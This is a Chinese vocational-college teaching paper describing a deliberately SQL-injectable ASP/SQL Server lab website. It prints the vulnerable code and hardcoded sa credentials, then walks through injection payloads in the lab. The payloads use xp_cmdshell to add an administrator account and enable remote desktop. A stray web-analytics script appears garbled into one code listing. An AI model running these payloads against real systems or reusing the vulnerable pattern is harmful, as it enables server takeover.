高职院校SQL注入攻击实验环境搭建及使用研究
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摘要：SQL注入攻击是黑客攻击最常用的手段之一，其危害极大。在高职院校的网络安全课中，使学生掌握sql注入攻击和相应的防范措施是一个教学难点。如果能够搭建一个简单的具有SQL注入漏洞的实验环境，让学生在这个实验环境中进行模拟攻击，对于学生更好地掌握SQL注入攻击的原理和具体实施步骤具有很大的好处，进而能让学生更好地掌握相应的安全防范措施。总结SQL注入攻击实验环境搭建及使用实践，旨在对高职院校的SQL注入攻击与防范实训教学起到一定的促进作用。
关键词：高职院校；SQL注入攻击；实验环境；网络安全
中图分类号：G712 文献标识码：A 文章编号：1672-5727（2013）12-0168-03
研究意义
SQL注入攻击是黑客攻击最常用的手段之一，其危害极大。一些不具备很多网络安全技术的“脚本小子”，使用一些傻瓜式SQL注入攻击工具，就可能攻陷网站，进而控制服务器。
高职院校的《网络安全与防范》课程，具有培养学生掌握较高网络安全防范技能的任务。因此，必须使学生掌握好SQL注入攻击的防范措施。而为了真正掌握SQL注入攻击的防范措施，又必须透彻理解SQL注入攻击的原理和具体实施步骤。经验表明，这是一个教学难点，因为它需要精心构造SQL语句，来完成信息的查询、语句的执行等。
我们开展了一项教学改革，旨在提高《网络安全与防范》课程的教学效果。该教学改革中的一项内容，就是研究如何更好地开展SQL注入攻击的教学。我们认为，如果能够搭建一个简单的具有SQL注入漏洞的动态网站，让学生对这个网站进行模拟攻击，对于学生更好地掌握SQL注入攻击的原理和具体实施步骤具有很大好处，也能让他们更好地掌握相应的安全防范措施。
SQL注入攻击实验环境的搭建
我们使用VMware WorkStation虚拟机软件安装了两台虚拟机，一台虚拟机安装的是Windows Server 2003操作系统，用于模拟被攻击的服务器，IP地址为192.168.248.132；另一台虚拟机安装的是Windows XP操作系统，用于模拟黑客使用的攻击机，IP地址为192.168.248.133。在Windows Server 2003虚拟机上，搭建了一个使用ASP+SQL Server 2000开发的简单的动态网站。我们设计该动态网站的思路是：该网站具有SQL注入漏洞，能满足SQL注入攻击的实验要求；该网站应该尽量简单，以便于学生理解、分析和掌握。
按照以上设计思路，我们开发了一个简单的名为testweb的动态网站。该动态网站需要访问一个名为testweb的数据库，该数据库包含一个表：tblNews。tblNews用来保存新闻的标题和内容，初始时在这个表中输入了一些测试用的数据。它的具体结构如表1所示。
该网站包括以下三个页面：conn.asp、news.asp、displayNews.asp。其中conn.asp用于保存与SQL Server 2000数据库服务器的连接信息；news.asp用于读取数据库中的新闻记录，显示所有新闻的标题，并且将这些标题以超链接的形式显示。当单击某个新闻的标题后，即可以进入形如displayNews.asp？id=xxx的页面，看到新闻的具体内容（其中“xxx”表示某条新闻在tblNews表中ID字段的值）。设置该网站的默认页面为news.asp。
conn.asp的代码如下所示：
Const SqlDatabaseName = "testweb"
Const SqlPassword = "michaeljordan"
Const SqlUsername = "sa"
Const SqlLocalName = "（local）"
dim ConnStr
ConnStr = "Provider = Sqloledb；User ID = " & SqlUsername & "；Password = " & SqlPassword & "；Initial Catalog = " & SqlDatabaseName & "；Data Source = " & SqlLocalName & "；"
news.asp的代码如下所示：
Dim conn
Set conn = Server.CreateObject（"ADODB.Connection"）
conn.open ConnStr
dim strSql
strSql="select * from tblNews"
dim rs
set rs=conn.Execute（strSql）
dim newsID
response.Write（""）
response.Write（""）
response.Write（""）
while not rs.EOF
response.Write（""）
response.Write（""）
newsID=rs（"ID"）
response.Write（" " & rs（"title"）& " "）
response.Write（""）
response.Write（""）
rs.MoveNext
wend
response.Write（""）
response.Write（"var _gaq = _gaq || [];_gaq.push(['_setAccount', 'UA-22575914-1']);_gaq.push(['_setDomainName', '']);_gaq.push(['_trackPageview']);(function () {var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'www') + '/ga.js';var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);})();var _userid = '';var _siteid =75;var _istoken = 1;var _model = 'Model03'; WebPageSpeed =2828; UrchinTrack();"）
response.Write（""）
rs.close（）
conn.close
set rs=nothing
set conn=nothing
%>
displayNews.asp的代码如下所示：
Dim conn
Set conn = Server.CreateObject（"ADODB.Connection"）
conn.open ConnStr
dim newsID
newsID=request（"id"）
dim strSql
strSql="select * from tblNews where ID=" & newsID
dim rs
set rs=conn.Execute（strSql）
response.Write（rs（"content"））
rs.close（）
conn.close
set rs=nothing
set conn=nothing
%
从以上三个页面的具体代码可以看出，我们所设计的动态网站具有简单，易于理解、分析和掌握的优点。
同时页面displayNews.asp有SQL注入漏洞，可以满足SQL注入攻击的实训需要，其具有SQL注入漏洞的具体语句为：strSql="select * from tblNews where ID=" & newsID，该语句根据某条新闻的ID查询tblNews表的内容。我们可以在形如displayNews.asp？id=xxx的地址后面加入精心构造的语句，从而执行特定的SQL语句，控制服务器。
SQL注入攻击实验环境的使用
如上所述，我们开发的动态网站testweb具有SQL注入漏洞，下面我们通过具体的入侵步骤来展示该SQL注入攻击实验环境的使用。（以下攻击步骤参考了相关网络安全书籍的内容。）
（一）判断网站是否有SQL注入漏洞
可以通过在displayNews.asp？id=1后加上“’”、“ and 1=1”和“ and 1=2”等方法来判断网站是否有SQL注入漏洞。如在地址栏输入：http：//192.168.248.132/testweb/displayNews.asp？id=1’ （1）
页面返回如下错误信息：
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
字符串 '' 之前有未闭合的引号。
/testweb/displayNews.asp，行 13
从以上提示信息可以看出，数据库服务器为SQL Server。（1）的原理是：正常的SQL语句为select * from tblNews where ID=1，而（1）导致SQL语句成为：select * from tblNews where ID=1’，这样会使得单引号没有闭合而出错。
在地址栏输入：http：//192.168.
248.132/testweb/displayNews.asp？id=1 and 1=1 （2）
返回正常页面。而在地址栏输入：http：//192.168.248.132/testweb/displayNews.asp？id=1 and 1=2
（3）
返回的错误信息是：
ADODB.Field 错误 '80020009'
BOF 或 EOF 中有一个是“真”，或者当前的记录已被删除，所需的操作要求一个当前的记录。
/testweb/displayNews.asp，行 0
（2）导致SQL语句成为：select * from tblNews where ID=1 and 1=1，因为1=1为永真式，所以不影响原来的查询结果，返回正常页面。而（3）导致SQL语句成为：select * from tblNews where ID=1 and 1=2，因为1=2为永假式，所以查询结果为空，而程序中没有对此进行处理，所以导致出现错误提示信息。
通过以上测试，可以明确地知道网站存在SQL注入漏洞，而且数据库服务器为SQL Server。
（二）查找是否有xp_cmdshell扩展存储过程
在地址栏输入：http：//192.168.
248.132/testweb/displayNews.asp？id=
1 and exists（select * from master.dbo.sysobjects where name=’xp_
cmdshell’）
页面返回正常，从而知道master.dbo.sysobjects表中存在扩展过程xp_cmdshell。通过执行xp_cmdshell存储过程可以实现添加用户、将用户添加到管理员组、开启远程终端连接等许多操作。
（三）通过xp_cmdshell添加系统管理员账户
在地址栏输入：http：//192.168.
248.132/testweb/displayNews.asp？id=
1；exec master..xp_cmdshell ‘net user test test/add’ （4）
页面返回正常。执行该语句后，可以添加一个名为test，密码也为test的账户。（4）的原理是：通过xp_cmdshell扩展存储过程，执行net user命令，实现添加账户的操作。
在地址栏输入：http：//192.168.
248.132/testweb/displayNews.asp？id=1；exec master..xp_cmdshell ‘net localgroup administrators test /add’
页面返回正常。执行该语句后，可以将账户test添加到系统管理员组。
（四）开启目标计算机的远程终端连接
在地址栏输入：http：//192.168.
248.132/testweb/displayNews.asp？id=
1；exec master..xp_cmdshell ‘reg add “HKLM＼System＼CurrentControl-
Set＼Control＼Terminal Server”/v fDeny
TSConnections/t REG_DWORD /d 0/f’ （5）
页面返回正常。执行完后，可以开启目标计算机的远程终端连接。（5）的原理是：通过xp_cmdshell扩展存储过程，执行reg add语句，完成修改注册表，开启远程终端连接的操作。执行完以上步骤之后，即可以使用新建的test账号远程登录目标计算机192.168.248.132。
讨论
为了使学生掌握SQL注入攻击的原理、具体实施步骤和相应的防范措施，必须搭建实验环境让他们演练SQL注入攻击的实施步骤。为此，我们搭建了一个ASP+SQL Server 2000环境下的SQL Server注入攻击实验环境。我们没有使用Dvbbs等现成的动态网站，因为这些动态网站功能较齐全，但代码很复杂，不利于初学者理解、分析和掌握。我们设计的动态网站具有简单，易于学生理解、分析和掌握的优点。我们演示了在该实验环境中进行SQL注入攻击，判断是否存在SQL注入漏洞，判断数据库服务器是否支持xp_cmdshell扩展过程，使用xp_cmdshell添加系统管理员账号、开启远程终端连接、使用攻击机远程登录目标计算机等操作。这表明使用我们搭建的简单的SQL注入攻击实验环境，可以方便地进行SQL注入攻击演练。这对提高学生的学习兴趣，掌握SQL注入攻击的原理和具体的实施步骤，提高网络安全防护意识等都具有很大的好处。
同时，利用该实验环境，或者对该实验环境稍微进行扩展，我们还可以进行更多的SQL注入攻击演练，如猜解数据库、表、字段的数目、字段的名称、字段的内容等等。
我们的教学经验表明，通过使用这个简单的实验环境，教学效果能得到明显的提升。
参考文献：
[1]肖遥.大中型网络入侵要案直击与防御[M].北京：电子工业出版社，2011.
[2]朱锡华，刘月铧，侯伟.暗战亮剑——黑客渗透与防御全程实录[M].北京：人民邮电出版社，2010.
[3]武新华，陈艳艳，王英英.矛与盾：黑客攻防与脚本编程[M].北京：机械工业出版社，2010.
作者简介：
曾煌存，硕士，广东外语艺术职业学院讲师，研究方向为网络安全技术。